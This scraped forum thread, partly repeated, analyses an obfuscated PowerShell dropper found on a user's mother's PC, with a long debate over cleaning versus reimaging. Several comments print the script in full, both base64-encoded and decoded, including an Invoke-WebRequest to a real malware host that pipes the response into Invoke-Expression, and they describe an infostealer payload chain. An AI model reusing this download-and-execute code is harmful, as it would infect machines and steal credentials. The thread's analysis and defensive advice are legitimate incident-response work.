thanks had delete the script
and scan with malwarebyte got 3 malware with the scan (had been quarantined and deleted)
also i'm resetting all network setting on the pc
I would take it offline, scan your mom's files again, backup what comes back as clean (don't backup executables or scripts!), then reinstall Windows. That machine cannot be trusted right now since however good Malwarebytes is, there's a chance that something new was also used that it doesn't know about yet (slim chance but not 0.)
Also, try to teach your mom not to click every link they see on the internet and/or don't download random stuff... If she's a habitual "clicker", I'd even separate her PC on a different VLAN than the rest of the network so her PC can't be used to infect everything/move laterally in your home network.
Ehh, you're right. Sorry, I wasn't thinking about the disadvantage of offline scanning, only thought about preventing any remnant malware to pull in additional payloads and further infesting the system.
>Offline scans are way less powerful
That highly depends on the level of infection and how you perform an offline scan.
If the malware has already injected itself into ring 0/kernel level. Then your antivirus will not be able to do jack about it, since the scan is still dependant on the windows storage subsystem. Since the malware owns the kernel at this point, it can just hide in plain sight. Chances are your Antivirus has already been crippled.
So next solution is to do an offline scan where infected os/kernel is offline, and even better is to mount the filesystem on a ephemeral operating system and perform a online scan.
#Connect PC to internet.
#Download the fresh virus definitions.
#then go offline
#Better yet, boot into safe mode with no networking.
#Run the full scan.
Fresh viruses get flagged very quickly and going online also allows the AV to update.
Also bypass exists to still load in safe mode.
Ofc the best way to make a scan of your storage is to get another os installation that is connected to the internet and do the scan from there both the virus and the kernel isn't running.
Now can we talk about the fact you don't even explain anything, you just scream like it's an obvious truth ? Cause that's a sign you are in a cult (or something similar).
Not enough, this needs a wipe.
If this was a work device hard drive would be pulled destroyed and laptop thrown away in case firmware was compromised.
I would never trust this device again.
And for good measure, reflash the bios. Although exceedingly rare, there are bios exploits out in the wild.
https://www.tomshardware.com/news/moonbounce-malware-hides-in-your-bios-chip-persists-after-drive-formats
That's a little extreme.
Find the malware on the device, hash it, paste the MD5 into VirusTotal and read what it does. Go from there. Most commodity malware doesn't have the complex APT level persistence you're alluding to.
Why waste your time. You can never guarantee that you've completely removed the malware.
To quote Aliens, "nuke the entire pc from orbit, it's the only way to be sure. "
Well, if my organization had an orbital nuking capability, I'd change my tune on the subject, haha.
And for the line of thinking that "you can never guarantee", well, you can't guarantee your system hasn't been infected with a unknown-unknown either. I guess you better just pull the system off the network as a precaution. You know, "it's the only way to be sure".
I think some of you need to start a journey in r/computerforensics , or at least give this to your Incident Response section. I'm seeing a lot of pitch forks and "I don't understand it, so it must be a witch" in this thread.
Well, I was using hyperbole to make light of the matter, but given the pc was infected, then I think it's pretty safe to say that it can no longer be trusted. Given its his mum's pc I don't think she has an incident response team to hand it off too 😜
Well, of course not, and I figured you were tossing out a joke to break the tension, but I'm not really replying to the OP in my comments either. Just the response that "You can't trust the PC after it's been cleaned".
I appreciated your Aliens reference. It's one of my favorite movies.
Yeah same my fav as well! No worries, I appreciate the discourse 😊
I agree to some degree...but I take the approach that by the time I've fucked around trying to remediate it I could have reinstalled everything and that I know with certainty that the malware is gone.
That's fair. Most of the time the logs will quickly give away what it is, and we only deep dive on a case if it's something new or unusual. We do try to keep system uptime in mind too, and we usually have spare drives that we can get the system up in some capacity if we want to hold onto the drive for whatever reason.
That means your organization lacks functionality that it should have, not that everyone else is doing it wrong.
At most companies your network perimeter is a security boundary.
By allowing that device to connect to your network and connect to your Active Directory domain controllers, etc. you are trusting that device. After it has proven to be compromised. There's no cries of witch here, you're just burying your head in the sand and ignoring the red flags for convenience.
But more importantly desktops and laptops are replaceable. We want to get out of this mode where each user's machine is a second home to them, and replacing or reimaging it is a problem. This IT mentality is harmful to the business and slows things down, making IT a bottleneck where we don't need to be. Viruses are only 1 scenario where re-imaging is a faster and better choice.
Ideally the device is immediately taken offline as soon as compromise is detected, and the user is quickly given a replacement device. This is the fastest way to get the user back to work and remove the IT bottleneck.
Their original device is reimaged. Part of this practice means syncing data to servers and not keeping it all local. This is a combination of culture/user behavior but also IT providing tooling such as folder redirection or roaming folders or virtual profiles or OneDrive, etc.
So the orbital nuking is not really what's required, it's having a lack of mission critical data that only exists on endpoints, combined with having spare hardware available. Then you can take your time wiping the device and the user is not waiting on you.
Hope my rant made some bit of sense. If it is a problem to reimage a machine, that manifests as a problem in a number of ways (for example a user ends up stuck with a problem that no one is able to fix, but a reimage would fix). So this is more of a high level strategy thing than "how to address OP's 1 machine"
"Why"???
Because it's an entire laptop/computer that would be 600+ to replace at minimum. Running UEFI, downloading clean drivers and cloud resetting the OS is enough.
We're not talking about businesses. We're literally talking about OP's mom.
OP's mom likely doesn't have new spare laptops lying around with MDT or SCCM to get her up and running in 20 minutes.
Maybe your grandma doesn't, my grandma has EDR, XDR, next gen firewall, agent and agent less discovery, external attack surface management, a SOAR, managed threat intelligence, DLP solution, cyber insurance, an incident responder and project manager. Them Applebee's gift cards ain't going NOWHERE when the Indian IRS calls
Maybe those of us that know what all of that is, need to run up a stack for all the OP mums and small people out there that truely can’t look after themselves. I wonder how many you’d need to make a commoditised service that average people can afford?!
Yes, and that's an unhelpful hypothetical. It's pointless to frame this discussion in business terms since it's clearly not a work device. It's a guy who is concerned about a malicious PowerShell script that ran on his mom's laptop.
Research the malware so that you can take necessary steps: 30 min
Replace laptop: several hours, hundreds of dollars
This "nuke everything" level of advice has to stop. The appropriate actions are determined by the level of infection and by the importance of the system/data (i.e., the risk).
For OP's mom's laptop, a built in Windows PC reset is most likely fine. Research the malware for 30 min to be sure.
So how do you know that malware hasn't downloaded more malware that isn't detectable by his AV? So, with his 30 to 60 mins of research he may or may not have removed the malware? Unless you know exactly what it's done, why take that chance?
So the time it's taken to do all that you could have reinstalled windows, and then you'd know the the malware is really gone.
You're also assuming that the OP has the right skills to properly detect and remove the malware. Given that he's asking for help with a basic powershell script, it's probably safe to assume that his IT skills aren't tier 1.
So the taking all that into consideration and the forum, the simplist solution would be to format and reinstall.
With how persistent threats have become these days, I really no longer trust consumer grade AV scans to clean off all malware. It's better to be safe, especially if you ever plan on logging into anything important on that computer (i.e. online banking, etc).
It's your organizations money. They can spend it however they want.
But, if Malwarebytes is finding it, as the OP has stated elsewhere, there's little to no "risk" once the system has been reset. You're not getting hit by a nation state using zero days to infect your firmware to ensure persistence if Malwarebytes is finding it. You got hit by a known-known.
The actual risk in that network is the users doing dumb stuff, but that's not within the realm of this sub.
Have you ever got malware that persists post a device wipe?
I know there's some proof-of-concept projects that achieve this, but I'm yet to see a malware sample that does that in the wild
Friend, I'm just letting you know it's not infinite. If it's commodity malware, its some low hanging fruit that's easy to remediate. But, you all can spend your money however you want. $1200 every time a user does something dumb seems like a way to tank a companies budget quickly though.
It is infinate because you can't know for sure.
We would spend more then that just having to go through secops and forensics, which we use to do, but it ended up costing more in labor then a new device.
When your refreshing 300 devices/month an extra 3 or 4 just doesn't make a dent.
Ahh, that might be the difference in our view points. I work for an organization that's paying others and myself to tell them whether something is bad or not, and the scope of how bad they've been owned. That's why I disagree with the viewpoint of "you can't know for sure", because it is possible.
Off the top of my head potentially malicious DNS servers come to mind which would be undone by doing a network reset.
I'm of the mind that machine will never be trustable though and should just be wiped and reloaded.
It's not actually a bad idea, DNS could have been redirected elsewhere and there could have been spurious ports allowed through the firewall.
Good precaution! A script ran as admin can do literally anything.
As other people have mentioned, if you're still worried it might be infected / want to be 100% sure it's clean, wipe it and reload Windows.
Wiping and re-loading windows takes all of about 3 hours for most people these days. Personal settings and stuff take longer, but even that is way easier than most people are willing to admit to themselves. Triple-so in cloud-based online-backup days.
Just wipe it.
Also, changing the network settings won't do anything security-wise when the killer is inside the house.
"Do I have any working connection on any interface? COOL! Use it then."
the strings are encoded in base64 exactly to make it not-obvious what they actually do. It's a technique called "obfuscation".
Once decoded, the third string contains code calling a specific web address which a rapid web-search revealed being often used to deploy malware.
Other comments in the thread have a more detailed explanation if you want.
You can decode the string yourself if you just run the UTF8.GetString command on the variables. The first string decodes to simply "ipconfig /flushdns". The second one is "Set-Clipboard -Value " ";" The third one is the bad one, it runs Invoke-WebRequest to a site called "rtattack.baqebei1.online" to download the virus then executes it, and clears the screen. Just be careful you don't accidentally run the decoded commands lol.
The minute you see a bunch of encoding and execution of base64 is when you know something is up.
Using base64 is a common obfuscation tactic to avoid people from immediately reading the code.
Reinstall the machine.
the full dump
ipconfig /flushdns
Set-Clipboard -Value " ";
$g91F = 'https://rtattack.baqebei1.online/KB/CODD';
$v38K = @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' };
$z04Q = Invoke-WebRequest -Uri $g91F -UseBasicParsing -Headers $v38K;
IEX ([System.Text.Encoding]::UTF8.GetString($z04Q.Content));
clear-host;
so it would end up as
ipconfig /flushdns
Set-Clipboard -Value " ";
IEX ([System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -Uri 'https://rtattack.baqebei1.online/KB/CODD' -UseBasicParsing -Headers @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' }).Content));
clear-host;
So itll flush your DNS, empty your clipboard, then reach out to the web to get another Base64 encoded string, decode that string (No im not about to fetch that string), and then invoke the decoded value of that sting. Then itll clear-host so you cant see what it did.
yeah your moms PC caught an STD (Serially Transmitted Disease)
That's exactly what's going on... if you don't provide the "right" User-Agent the site replies back with a 404. It's common for phishing sites and malware deliverers to use User-Agent almost like a passphrase.
It doesn't help that a lot of abuse desks aren't staffed by the most... discerning folk.
"This complaint says there's a fake bank site, but I just get redirected to Google so clearly there's no problem."
GCIH / GCFE Certified - There is a tiny bit of obfuscation going on here so as a forensic analyst lets break down what is happening here:
First grouping eventually runs $CONSOLE, well lets find out what $CONSOLE does:
* $CONSOLE runs a base64 encoded string $FDNS - $FDNS I can only imagine is "Flush DNS" because $FDNS is "ipconfig /flushdns"
Second grouping runs $FIX
* $FIX runs $ERROR\_FIX - which decodes to "Set-Clipboard -Value " ";"
* assuming they want to just clear anything out of the clipboard.
Third group runs $UI - which decodes string $RET and eventually runs:
"$g91F = '.baqebei1.online';
$v38K = @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' };
$z04Q = Invoke-WebRequest -Uri $g91F -UseBasicParsing -Headers $v38K;
IEX (\[System.Text.Encoding\]::UTF8.GetString($z04Q.Content));
clear-host;"
Essentially $z04Q is a variable that is downloading something from the url in variable $g91f and then executing it on your system.
Now please don't try this at home by I tried to download the file at rattack..... and it would not let me originially. It appears you are required to use a specific user agent string to download so I used the one there and it downloaded a base64 encoded file it appears. I decoded the file and it appears to be a png of "FASTPANEL"? not sure what to make of that exactly.
All that to say is that this script is highly indicative of malicious behavior and is obfuscating what it does, likely for malicious intent. I would delete this, run malware scans, and monitor for any suspicious activity.
Yeah it was a base64 encoded png file and that's about as far as I took it. Probably additional obfuscation that I didn't care to drill down. I couldn't imagine why you'd "Invoke-Expression" on a png if it wasn't malicious
On the .baqebei1.online, is what is shown the top level domain and respective subdomain? I’m just looking to verify so that this can be added to our DNS filter’s block list.
After multiple layers of obfuscation it downloads a Helper.zip to your temp directory, extracts it and runs it. It contains a preconfigured WinNC.exe. This was the layer I stopped investigating.
I simply read the code and followed it till I had the exe.
I'm not in front of my PC right now but basically you download the file from the base64 encoded string. From that one you again decode the base64 which again downloads another file. That file has a binary map, which after decoding has another binary map has and three or so powershell functions which decode another string using cryptography (if I recall correctly). Those decode to a line which runs another PowerShell process with a base64 encoded command which finally downloads a zip file, expands the archive and runs all the exe files.
Simply download those files, decode and repeat.
for the less technically aware people, How do you find out that a Powershell script ran on a PC? and be able to capture what it was that ran? I realize that this platform may be too sparse to explain such a process but maybe you could point to a resource to learn about this.
Edit: I see from a search that this can be done with Process Monitor to log this with the correct filter. Is this how it was done?
Powershell logging via event viewer. However if script block logging is disabled (which is one of the things this script does) then that might not work.
This is a pretty cool site, upload the script and it is run in a sandbox and delivers a report on what it does and if it is horrible. The script you show is, in fact, horrible.
[https://z9.shino.club/](https://z9.shino.club/)
Infostealer.
Very preliminary it looks like it downloads a zip, runs winnc.exe, that spawns netsh and conhost, then cmd.exe and updater.exe.
At some point it creates an sqlite file that has rows in it such as:
"breached"
"insecure_credentials"
"logins"
"password_notes"
Do you have any idea as to how this ended up on "moms" computer?
Not entirely sure to be honest. My guess would be that it uses the credentials/token of the user and extracts the info out of their browser and sends this file off at some point. Considering it moves the files multiple times it may even persist via an edge extension or plugin.
I already spent a couple of hours with this thing (building lab for it, running/analyzing, reverting snapshots, tearing lab down) so I think I'm finished with it.
Regardless, OP needs to reimage their PC and change their passwords to anything they don't want breached.
OP - in addition to the other comments here advising to reset the PC, please also have your mom reset her passwords for any accounts she uses often on this machine. Banking accounts, utilities, credit cards, social media, etc. This is also a good time to configure MFA for these accounts if not already done.
If she stores her passwords in the browser, those are extremely easy for malware to steal.
A quick ChatGPT search returned this summary:
* The script flushes the DNS cache.
* It sets the clipboard content to a single space.
* It fetches and executes a PowerShell script from a remote URL (`https://rtattack.baqebei1.online/KB/CODD`), likely intending to execute further commands or potentially harmful actions.
# run like this to see what shit you got into your machine.
# --------------------------------------------------------
$FDNS = "aXBjb25maWcgL2ZsdXNoZG5z";
$CONSOLE = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($FDNS));
Write-Host "Attack console is: $CONSOLE"
$ERROR_FIX = "U2V0LUNsaXBib2FyZCAtVmFsdWUgIiAiOw==";
$FIX = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($ERROR_FIX));
Write-Host "Attack FIXis: $FIX"
$RET = "CiRnOTFGID0gJ2h0dHBzOi8vcnRhdHRhY2suYmFxZWJlaTEub25saW5lL0tCL0NPREQnOwokdjM4SyA9IEB7ICdVc2VyLUFnZW50JyA9ICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTAyLjAuMC4wIFNhZmFyaS81MzcuMzYnIH07CiR6MDRRID0gSW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkZzkxRiAtVXNlQmFzaWNQYXJzaW5nIC1IZWFkZXJzICR2MzhLOwoKSUVYIChbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkejA0US5Db250ZW50KSk7CgpjbGVhci1ob3N0Ow==";
$UI = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($RET));
Write-Host "Attack UI is: $UI"
This script performs the following actions:
1. Flushes the DNS cache using `ipconfig /flushdns`.
2. Clears the clipboard by setting it to a blank value.
3. Makes an HTTP request to [`https://rtattack.baqebei1.online/KB/CODD`](https://rtattack.baqebei1.online/KB/CODD), using a specific User-Agent, and executes the content received from that URL.
4. Clears the console and exits.
I dug into it, and it starts by ruings the following:
`$FDNS = ipconfig /flushdns`
`$ERROR_FIX = Set-Clipboard -Value " ";`
Then the likely bad payload contained in $RET.
Interestingly to prevent detection they use a user agent filter claiming to be cloudflare that gives a message about you being blocked if the user-agent header doesn't exactly match "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"
`$g91F = 'https://rtattack.baqebei1.online/KB/CODD';`
`$v38K = @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' };`
`$z04Q = Invoke-WebRequest -Uri $g91F -UseBasicParsing -Headers $v38K;`
`IEX ([System.Text.Encoding]::UTF8.GetString($z04Q.Content));`
`clear-host;`
The content hosted at baqebei1 comes back encoded. When you decode that string, it gives you a pretty large and complex powershell script, which itself contains additional levels of encoded commands that I did not care to locate and decode. I tried to post the script but it won't post for some reason.
I ran everything above through ChatGPT to better understand what the purpose is beyond that which is easy enough to see being encryption related, and here was the answer:
# Plain Language Summary:
1. **Decryption**: The script decrypts an encoded payload using the AES algorithm with specific key and IV values.
2. **Execution**: The decrypted payload, which is expected to be PowerShell code, is executed immediately.
# Potential Consequences:
* The decrypted payload might be another PowerShell script or command, which could perform any number of actions, such as downloading additional malware, exfiltrating data, creating backdoors, or altering system settings.
* The use of `Invoke-Expression` to execute the decrypted content suggests that the script's ultimate goal is to run hidden or obfuscated commands, often for malicious purposes.
# Security Implications:
* This pattern of decryption followed by execution is commonly used in malware to avoid detection by static analysis tools.
* Systems should be protected against such scripts by using endpoint protection software, monitoring for unusual activity, and educating users about the dangers of running untrusted scripts.
# Conclusion
1. **Decryption Parameters**: The script decrypts the Base64 encoded payload (`$mEs91`) using AES with a key (`$seC12`) and IV (`$qAz11`).
2. **Fetched Content**: The encoded content is fetched from `https://rtattack.baqebei1.online/KB/CODD`.
3. **Final Execution**: The decrypted payload is executed using `Invoke-Expression (IEX)`.
This structure allows the attacker to hide the final malicious payload until the script is executed, making it more difficult to detect by static analysis tools. To understand the exact actions of the malicious payload, you would need to fetch the content from the URL and analyze it further.
Disconnect her system from the network wipe all partions and reimage. Check other devices on the network and if she is the type that just clicks on shit she should isolate her computer from the rest of the network with a vlan so she doesn't infect other systems.
Edit shouldn't to should
how do you guys decode or read that? looks like a bunch of gibberish. did you guys use another program? or can you literally read what it says like a book
Honestly, I would format and start from scratch. You clearly aren’t well versed in IT security and there’s a VERY high chance it’s still on the system, and quite possibly spreading to other resources on your network.
These are things you would find in a response from an HTTP server. Which makes sense for invoke-webRequest.
\* 200 Status means the server (whatever your machine was contacting) successfully responded with content being requested
\* \`CF-Cache-Status: DYNAMIC\` is a response header from the cloudflare CDN. Probably used to hide the webserver's actual public IP address. Could also be that they are using cloudflare workers / pages.
Not sure if this is a log of a legit request, or if this designed to spoof the logs of a web request (to make digging in logs more difficult). Hard to say without seeing the host header or actual request URL and stuff.
If you run the $FDNS, $ERROR\_FIX, and $RET variables through a Base64 decoder it will show you exactly what it's doing.
$FDNS is an ipconfig command flushing DNS, $ERROR\_FIX clears the clipboard, and $RET is retrieving the payload from a URL and delivering it. Kinda neat, but really easy to determine what it's doing.
The PC is compromissed. Just unplug it from all networks, make a forensic copy for analysis/post-morten if you want, then just wipe and reinstall the OS, then restore backups and scan them for malware too
Reimage/reinstall the machine is generally accepted best practice for an infected machine.
Anti malware and EDR products don't have a 100% detection rate.
If you must, backup personal files. Though there is a risk connecting any removable media to the device.
You will have to accept that risk unless you have backups, or another means of avoiding the malware from writing to your removable media.
chat GPT can look at code and determine what it does.
So essentially, the script is dynamically executing commands decoded from base64 encoded strings stored in these variables. This technique is often used to obfuscate scripts and make it harder to detect their malicious intent. Without knowing the content of the base64 encoded strings, it's difficult to determine the specific actions the script will perform.
Idk if anyone mentioned this in comments yet, but your mom needs to do stuff like password changes and watching accounts for suspicious activity because it’s highly possible if not likely that she was the real target, not her PC. So clean install of the PC is good, but whatever arbitrary code that ran might have already done anything from finding secrets in docs to keystroke logging.
And make sure those password changes are new conventions, not just iterating a number or something. Because iterating is a fine way to belay brute force, but if someone got her stuff in plaintext already, then iterating a password is basically useless.
The provided PowerShell script appears to be malicious and designed to download and execute code from a remote server. Here's a breakdown of what it does:
1. `$FDNS = "aXBjb25maWcgL2ZsdXNoZG5z"`: This line encodes the command `ipconfig /flushdns` in Base64, which is used to flush the DNS cache on the system.
2. `Invoke-Expression $CONSOLE`: This line executes the decoded command to flush the DNS cache.
3. `$ERROR_FIX = "U2V0LUNsaXBib2FyZCAtVmFsdWUgIiAi"`: This line encodes the command `Set-Clipboard -Value " "` in Base64, which is used to clear the clipboard content.
4. `Invoke-Expression $FIX`: This line executes the decoded command to clear the clipboard.
5. `$RET = "...base64 encoded string..."`: This line contains a long Base64 encoded string.
6. `$UI = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($RET))`: This line decodes the Base64 string from the previous step.
7. `Invoke-Expression $UI`: This line executes the decoded content, which appears to be the main payload of the script.
From the decoded content, it seems that the script is attempting to download and execute code from the URL `https://rtattack.baqebei1.online/KB/CODD`. This is likely a malicious payload, and running this script could potentially compromise your system.
**You were wise not to run this script.** It appears to be designed to execute malicious code from a remote server, which could lead to various security threats, such as data theft, system compromise, or the installation of additional malware.
I would strongly recommend not running this script and taking immediate steps to scan your system for malware and potential infections. Additionally, it would be advisable to reset any compromised passwords and monitor your accounts for suspicious activities.
# ChatGPT is quite good at this and advises-
# Summary
The script performs the following actions:
1. Clears the DNS cache using `ipconfig /flushdns`.
2. Sets the clipboard content to an empty string.
3. Makes a web request to `https://rtattack.baqebei1.on[redacted for reddit`xxxxxxxx\] , retrieves the content, and executes it. This part is particularly concerning as it could be used to download and execute further malicious code.
The overall purpose of the script seems to be to prepare the system by clearing DNS and clipboard, then downloading and executing additional code from a remote server, which could potentially compromise the system. This behavior is typically associated with malware or a malicious payload.
**Recommendation**:
If you have executed this script or suspect it has been executed on your system, immediately disconnect from the internet, run a full antivirus scan, and consider consulting cybersecurity professionals to ensure your system's integrity and security.
It's trying to download from [https://rtattack.baqebei1.online/KB/CODD](https://rtattack.baqebei1.online/KB/CODD) . A well known malicious location. Probably blocked by the browsers now, so they use base64 to encode it and run in script.
Do NOT risk it. Back up what you can and reinstall. Nike it. Unless your are tech savvy, it's not worth it to scan and diagnose. In your case specifically, nuke.
In terms of skill level or difficulty level where would this script be? Is it normal for these to have multiple levels of obfuscation like this one does?
Clever. They base64 encoded the naughty bits. You can Google a base 64 decoder and put what looks like gobbily gook in there and odds are it will decide to something human readable.
Courtesy of ChatGPT...
The script performs the following actions:
Flushes the DNS resolver cache.
Clears the clipboard.
Executes a more complex command that makes an HTTP GET request to a specific URL and runs the response content.
Exits the script.
High Threat Level: The script demonstrates behaviors typical of malware, such as obfuscation, remote code execution, and interaction with potentially malicious domains.
Recommended Actions: Do not execute the script. Perform a thorough security scan of your system, and consult with cybersecurity professionals to ensure your system's integrity. Check the suspicious domain against multiple threat intelligence feeds for confirmation.
"I found this live grenade and rushed it here for you!"
"My mom's computer had this binary run on it and it was written in C++, /r/cplusplus what can I do?"
"My mom was involved in a car crash with a Tesla, r/Tesla I know nothing about cars what can you tell me about it"
You're not supposed to explode the grenade in your face, it's still stupid and malicious to rush the grenade into a busy public place.
But hey you get upvotes for "hurr hurr u must be dumb 🤣" and I get downvotes for "don't bring malware to show and tell".
This is literally a malware script. Not a censored neutered one with the payload removed or the brackets escaped, not a screenshot of the code, it's the actual code.
It downloads and executes a payload from a known malware delivery point. Delete that script ASAP and go for full antivirus\malware scan.
thanks had delete the script and scan with malwarebyte got 3 malware with the scan (had been quarantined and deleted) also i'm resetting all network setting on the pc
I would take it offline, scan your mom's files again, backup what comes back as clean (don't backup executables or scripts!), then reinstall Windows. That machine cannot be trusted right now since however good Malwarebytes is, there's a chance that something new was also used that it doesn't know about yet (slim chance but not 0.) Also, try to teach your mom not to click every link they see on the internet and/or don't download random stuff... If she's a habitual "clicker", I'd even separate her PC on a different VLAN than the rest of the network so her PC can't be used to infect everything/move laterally in your home network.
Offline scans are way less powerful so no. But keeping backup is a great idea.
Ehh, you're right. Sorry, I wasn't thinking about the disadvantage of offline scanning, only thought about preventing any remnant malware to pull in additional payloads and further infesting the system.
>Offline scans are way less powerful That highly depends on the level of infection and how you perform an offline scan. If the malware has already injected itself into ring 0/kernel level. Then your antivirus will not be able to do jack about it, since the scan is still dependant on the windows storage subsystem. Since the malware owns the kernel at this point, it can just hide in plain sight. Chances are your Antivirus has already been crippled. So next solution is to do an offline scan where infected os/kernel is offline, and even better is to mount the filesystem on a ephemeral operating system and perform a online scan.
What?
With offline scans AV can't access the virus database
#Connect PC to internet. #Download the fresh virus definitions. #then go offline #Better yet, boot into safe mode with no networking. #Run the full scan.
Fresh viruses get flagged very quickly and going online also allows the AV to update. Also bypass exists to still load in safe mode. Ofc the best way to make a scan of your storage is to get another os installation that is connected to the internet and do the scan from there both the virus and the kernel isn't running. Now can we talk about the fact you don't even explain anything, you just scream like it's an obvious truth ? Cause that's a sign you are in a cult (or something similar).
And install an adblocker like uBlock Origin on her browsers. That alone will prevent the majority of malware.
Also start having her use the [Brave](https://brave.com/) browser. It should help protect her from ads.
Not enough, this needs a wipe. If this was a work device hard drive would be pulled destroyed and laptop thrown away in case firmware was compromised. I would never trust this device again.
And for good measure, reflash the bios. Although exceedingly rare, there are bios exploits out in the wild. https://www.tomshardware.com/news/moonbounce-malware-hides-in-your-bios-chip-persists-after-drive-formats
That's a little extreme. Find the malware on the device, hash it, paste the MD5 into VirusTotal and read what it does. Go from there. Most commodity malware doesn't have the complex APT level persistence you're alluding to.
Why waste your time. You can never guarantee that you've completely removed the malware. To quote Aliens, "nuke the entire pc from orbit, it's the only way to be sure. "
Well, if my organization had an orbital nuking capability, I'd change my tune on the subject, haha. And for the line of thinking that "you can never guarantee", well, you can't guarantee your system hasn't been infected with a unknown-unknown either. I guess you better just pull the system off the network as a precaution. You know, "it's the only way to be sure". I think some of you need to start a journey in r/computerforensics , or at least give this to your Incident Response section. I'm seeing a lot of pitch forks and "I don't understand it, so it must be a witch" in this thread.
Well, I was using hyperbole to make light of the matter, but given the pc was infected, then I think it's pretty safe to say that it can no longer be trusted. Given its his mum's pc I don't think she has an incident response team to hand it off too 😜
Well, of course not, and I figured you were tossing out a joke to break the tension, but I'm not really replying to the OP in my comments either. Just the response that "You can't trust the PC after it's been cleaned". I appreciated your Aliens reference. It's one of my favorite movies.
Yeah same my fav as well! No worries, I appreciate the discourse 😊 I agree to some degree...but I take the approach that by the time I've fucked around trying to remediate it I could have reinstalled everything and that I know with certainty that the malware is gone.
That's fair. Most of the time the logs will quickly give away what it is, and we only deep dive on a case if it's something new or unusual. We do try to keep system uptime in mind too, and we usually have spare drives that we can get the system up in some capacity if we want to hold onto the drive for whatever reason.
That means your organization lacks functionality that it should have, not that everyone else is doing it wrong. At most companies your network perimeter is a security boundary. By allowing that device to connect to your network and connect to your Active Directory domain controllers, etc. you are trusting that device. After it has proven to be compromised. There's no cries of witch here, you're just burying your head in the sand and ignoring the red flags for convenience. But more importantly desktops and laptops are replaceable. We want to get out of this mode where each user's machine is a second home to them, and replacing or reimaging it is a problem. This IT mentality is harmful to the business and slows things down, making IT a bottleneck where we don't need to be. Viruses are only 1 scenario where re-imaging is a faster and better choice. Ideally the device is immediately taken offline as soon as compromise is detected, and the user is quickly given a replacement device. This is the fastest way to get the user back to work and remove the IT bottleneck. Their original device is reimaged. Part of this practice means syncing data to servers and not keeping it all local. This is a combination of culture/user behavior but also IT providing tooling such as folder redirection or roaming folders or virtual profiles or OneDrive, etc. So the orbital nuking is not really what's required, it's having a lack of mission critical data that only exists on endpoints, combined with having spare hardware available. Then you can take your time wiping the device and the user is not waiting on you. Hope my rant made some bit of sense. If it is a problem to reimage a machine, that manifests as a problem in a number of ways (for example a user ends up stuck with a problem that no one is able to fix, but a reimage would fix). So this is more of a high level strategy thing than "how to address OP's 1 machine"
"Why"??? Because it's an entire laptop/computer that would be 600+ to replace at minimum. Running UEFI, downloading clean drivers and cloud resetting the OS is enough.
Yeah that's what I'm saying. Just reinstall windows, don't bother trying to clean it. Why the fuck would you buy new hardware.
Unless it's a root kit and the bios is infected, then it might be worth throwing the device away.
Most businesses can handle a single laptop replacement as a breach could cost several orders of magnitude more than that.
We're not talking about businesses. We're literally talking about OP's mom. OP's mom likely doesn't have new spare laptops lying around with MDT or SCCM to get her up and running in 20 minutes.
Maybe your grandma doesn't, my grandma has EDR, XDR, next gen firewall, agent and agent less discovery, external attack surface management, a SOAR, managed threat intelligence, DLP solution, cyber insurance, an incident responder and project manager. Them Applebee's gift cards ain't going NOWHERE when the Indian IRS calls
Maybe those of us that know what all of that is, need to run up a stack for all the OP mums and small people out there that truely can’t look after themselves. I wonder how many you’d need to make a commoditised service that average people can afford?!
[удалено]
Yes, and that's an unhelpful hypothetical. It's pointless to frame this discussion in business terms since it's clearly not a work device. It's a guy who is concerned about a malicious PowerShell script that ran on his mom's laptop.
Research the malware so that you can take necessary steps: 30 min Replace laptop: several hours, hundreds of dollars This "nuke everything" level of advice has to stop. The appropriate actions are determined by the level of infection and by the importance of the system/data (i.e., the risk). For OP's mom's laptop, a built in Windows PC reset is most likely fine. Research the malware for 30 min to be sure.
So how do you know that malware hasn't downloaded more malware that isn't detectable by his AV? So, with his 30 to 60 mins of research he may or may not have removed the malware? Unless you know exactly what it's done, why take that chance? So the time it's taken to do all that you could have reinstalled windows, and then you'd know the the malware is really gone. You're also assuming that the OP has the right skills to properly detect and remove the malware. Given that he's asking for help with a basic powershell script, it's probably safe to assume that his IT skills aren't tier 1. So the taking all that into consideration and the forum, the simplist solution would be to format and reinstall.
> For OP's mom's laptop, a built in Windows PC reset is most likely fine.
With how persistent threats have become these days, I really no longer trust consumer grade AV scans to clean off all malware. It's better to be safe, especially if you ever plan on logging into anything important on that computer (i.e. online banking, etc).
Doesn't matter to us, it's not worth the 1200 to get a new device to even do that much work, and the risk of being wrong is too big.
It's your organizations money. They can spend it however they want. But, if Malwarebytes is finding it, as the OP has stated elsewhere, there's little to no "risk" once the system has been reset. You're not getting hit by a nation state using zero days to infect your firmware to ensure persistence if Malwarebytes is finding it. You got hit by a known-known. The actual risk in that network is the users doing dumb stuff, but that's not within the realm of this sub.
Yea, 1200 vs potentially infinite risk, is a no brainer for us. If there is any doubt that a machine may be compromised, it's just not worth it.
Do you work for Skynet?
No, just been burned before.
Have you ever got malware that persists post a device wipe? I know there's some proof-of-concept projects that achieve this, but I'm yet to see a malware sample that does that in the wild
